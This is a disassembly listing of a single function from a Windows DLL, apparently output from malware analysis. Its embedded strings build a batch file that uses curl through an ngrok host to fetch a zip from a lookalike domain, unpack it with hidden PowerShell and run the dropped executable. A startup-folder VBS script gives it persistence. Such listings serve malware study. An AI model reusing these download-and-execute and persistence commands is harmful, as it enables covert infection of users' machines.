Function at 0x180006bf0
Capabilities:
Get session user name

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2c0]
sub rsp, 0x3c0
mov rax, qword [0x180075240]
xor rax, rsp
mov qword [rbp + 0x2b0], rax
mov dword [rsp + 0x68], 0x101
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0xa0]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea r12, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov esi, 6
lea r13d, [rsi - 4]
lea rdi, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
lea rbx, vtable.std::ios_base.0
test eax, eax
je 0x180006dd7
lea rdx, str.C:UsersPublicDownloadsUpdate.bat
lea rcx, [rsp + 0x70]
call fcn.1800089e0
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x70]
call fcn.180050ff0
lea rdx, [rsp + 0x70]
cmp qword [rbp - 0x78], 7
cmova rdx, qword [rsp + 0x70]
lea rcx, [rbp - 0x70]
call fcn.180009460
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x70], r12
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x74], edx
cmp qword [rbp + 0x18], 0
je 0x1800070d2
lea rdx, str._echo_off_n
lea rcx, [rbp - 0x70]
call fcn.180009e00
mov rcx, rax
lea rdx, str.C:WindowsSystem32curl.exe__s__H__Cookie:_abuse_interstitial__lacewing_guided_gladly.ngrok_free.app___http:__assets.nvlda.com_mytro.zip___o__C:_Users_Public_Downloads_mytro.zip_n
call fcn.180009e00
mov rcx, rax
lea rdx, str.C:WINDOWSSystem32WindowsPowerShell_v1.0powershell.exe__windowstyle_hidden_Expand_Archive_C:UsersPublicDownloadsmytro.zip___DestinationPath_C:UsersPublicDownloads_n
call fcn.180009e00
mov rcx, rax
lea rdx, str.cd__d_C:UsersPublicDownloadsMpCopyAccelerator__start__b__MpCopyAccelerator.exe_n
call fcn.180009e00
lea rcx, [rbp - 0x68]
call fcn.180009320
test rax, rax
jne 0x180006d44
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
mov eax, esi
cmp qword [rbp + rcx - 0x28], 0
cmovne eax, r13d
or eax, dword [rbp + rcx - 0x60]
and eax, 0x17
mov dword [rbp + rcx - 0x60], eax
mov edx, dword [rbp + rcx - 0x5c]
and edx, eax
jne 0x180007078
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x70], r12
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x74], edx
lea rcx, [rbp - 0x68]
call fcn.1800086d0
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x70], rdi
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx - 0x74], edx
mov qword [rbp + 0x38], rbx
lea rcx, [rbp + 0x38]
call fcn.180022080
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x180006dd7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006dd2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800070cc
call fcn.1800228e0
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0xa0]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
je 0x180007037
lea rdx, str.C:Users_
lea rcx, [rsp + 0x70]
call fcn.1800089e0
nop
lea rax, [rbp + 0xa0]
mov rdi, 0xffffffffffffffff
inc rdi
cmp word [rax + rdi*2], 0
jne 0x180006e11
mov r14, qword [rbp - 0x80]
mov rcx, qword [rbp - 0x78]
mov rax, rcx
sub rax, r14
xor r15d, r15d
cmp rdi, rax
ja 0x180006e67
lea rax, [r14 + rdi]
mov qword [rbp - 0x80], rax
lea rbx, [rsp + 0x70]
cmp rcx, 7
cmova rbx, qword [rsp + 0x70]
lea rcx, [rbx + r14*2]
lea r8, [rdi + rdi]
lea rdx, [rbp + 0xa0]
call fcn.180050950
lea rax, [r14 + rdi]
mov word [rbx + rax*2], r15w
jmp 0x180006e83
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0xa0]
xor r8d, r8d
mov rdx, rdi
lea rcx, [rsp + 0x70]
call fcn.18000a360
mov rdi, qword [rbp - 0x80]
mov rcx, qword [rbp - 0x78]
mov rax, rcx
sub rax, rdi
cmp rax, 0x48
jb 0x180006ecf
lea rax, [rdi + 0x48]
mov qword [rbp - 0x80], rax
lea rbx, [rsp + 0x70]
cmp rcx, 7
cmova rbx, qword [rsp + 0x70]
lea rcx, [rbx + rdi*2]
mov r8d, 0x90
lea rdx, str.AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup_start.vbs
call fcn.180050950
mov word [rbx + rdi*2 + 0x90], r15w
jmp 0x180006ef0
mov qword [rsp + 0x20], 0x48
lea r9, str.AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup_start.vbs
xor r8d, r8d
lea edx, [r8 + 0x48]
lea rcx, [rsp + 0x70]
call fcn.18000a360
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x70]
call fcn.180050ff0
lea rdx, [rsp + 0x70]
cmp qword [rbp - 0x78], 7
cmova rdx, qword [rsp + 0x70]
lea rcx, [rbp - 0x70]
call fcn.180009460
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x70], r12
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x74], edx
cmp qword [rbp + 0x18], 0
je 0x18000706d
lea rdx, str.set_wsWScript.CreateObject__WScript.Shell___n
lea rcx, [rbp - 0x70]
call fcn.180009e00
mov rcx, rax
lea rdx, str.ws.Run__C:UsersPublicDownloadsUpdate.bat__0_n
call fcn.180009e00
lea rcx, [rbp - 0x68]
call fcn.180009320
test rax, rax
jne 0x180006f9a
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
cmp qword [rbp + rcx - 0x28], 0
cmovne esi, r13d
or esi, dword [rbp + rcx - 0x60]
and esi, 0x17
mov dword [rbp + rcx - 0x60], esi
mov eax, dword [rbp + rcx - 0x5c]
and eax, esi
jne 0x1800070dd
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x70], r12
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x74], edx
lea rcx, [rbp - 0x68]
call fcn.1800086d0
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x70], rax
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx - 0x74], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x38], rax
lea rcx, [rbp + 0x38]
call fcn.180022080
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x180007037
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007032
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007067
call fcn.1800228e0
mov rcx, qword [rbp + 0x2b0]
xor rcx, rsp
call fcn.1800228c0
lea r11, [rsp + 0x3c0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.18003212c
nop
mov ecx, 1
call fcn.180032a3c
nop
test dl, 4
je 0x180007086
lea rbx, str.ios_base::badbit_set
jmp 0x18000709b
test dl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x30]
call fcn.180005870
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x40]
call fcn.180006370
lea rdx, [0x180073bb0]
lea rcx, [rsp + 0x40]
call fcn.180024a18
nop
call fcn.18003212c
nop
mov ecx, 1
call fcn.180032a3c
nop
test al, 4
je 0x1800070ea
lea rbx, str.ios_base::badbit_set
jmp 0x1800070fe
test al, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x30]
call fcn.180005870
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x40]
call fcn.180006370
lea rdx, [0x180073bb0]
lea rcx, [rsp + 0x40]
call fcn.180024a18
int3